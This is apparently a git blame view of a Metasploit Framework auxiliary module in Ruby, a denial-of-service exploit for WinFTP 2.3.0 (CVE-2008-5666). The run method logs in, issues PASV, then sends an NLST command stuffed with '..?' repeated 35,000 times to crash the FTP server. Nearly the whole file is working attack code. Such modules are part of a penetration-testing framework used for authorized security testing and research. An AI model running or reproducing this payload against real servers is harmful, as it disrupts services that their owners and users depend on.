2009-01-09 05:33:26 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-29 04:47:47 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-01-09 05:33:26 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2010-04-29 04:47:47 +00:00
|
|
|
# http://metasploit.com/framework/
|
2009-01-09 05:33:26 +00:00
|
|
|
##
|
|
|
|
|
2008-09-30 23:28:24 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-09-30 23:28:24 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Ftp
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-29 04:47:47 +00:00
|
|
|
|
2008-09-30 23:28:24 +00:00
|
|
|
def initialize(info = {})
|
2010-04-29 04:47:47 +00:00
|
|
|
super(update_info(info,
|
2008-09-30 23:28:24 +00:00
|
|
|
'Name' => 'WinFTP 2.3.0 NLST Denial of Service',
|
|
|
|
'Description' => %q{
|
|
|
|
This module is a very rough port of Julien Bedard's
|
|
|
|
PoC. You need a valid login, but even anonymous can
|
|
|
|
do it if it has permission to call NLST.
|
|
|
|
},
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2008-09-30 23:28:24 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2009-01-09 05:33:26 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-09-30 23:28:24 +00:00
|
|
|
'References' =>
|
2010-04-26 18:42:07 +00:00
|
|
|
[
|
2010-04-29 04:47:47 +00:00
|
|
|
[ 'CVE', '2008-5666' ],
|
|
|
|
[ 'OSVDB', '49043' ],
|
|
|
|
[ 'URL', 'http://milw0rm.com/exploits/6581' ]
|
2010-04-26 18:42:07 +00:00
|
|
|
],
|
2008-09-30 23:28:24 +00:00
|
|
|
'DisclosureDate' => 'Sep 26 2008'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2008-10-30 00:52:38 +00:00
|
|
|
return unless connect_login
|
2008-09-30 23:28:24 +00:00
|
|
|
|
2010-04-29 04:47:47 +00:00
|
|
|
# NLST has to follow a PORT or PASV
|
|
|
|
resp = send_cmd(['PASV'])
|
2008-09-30 23:28:24 +00:00
|
|
|
|
|
|
|
raw_send("NLST #{'..?' * 35000}\r\n")
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
end
|
2008-10-30 00:52:38 +00:00
|
|
|
end
|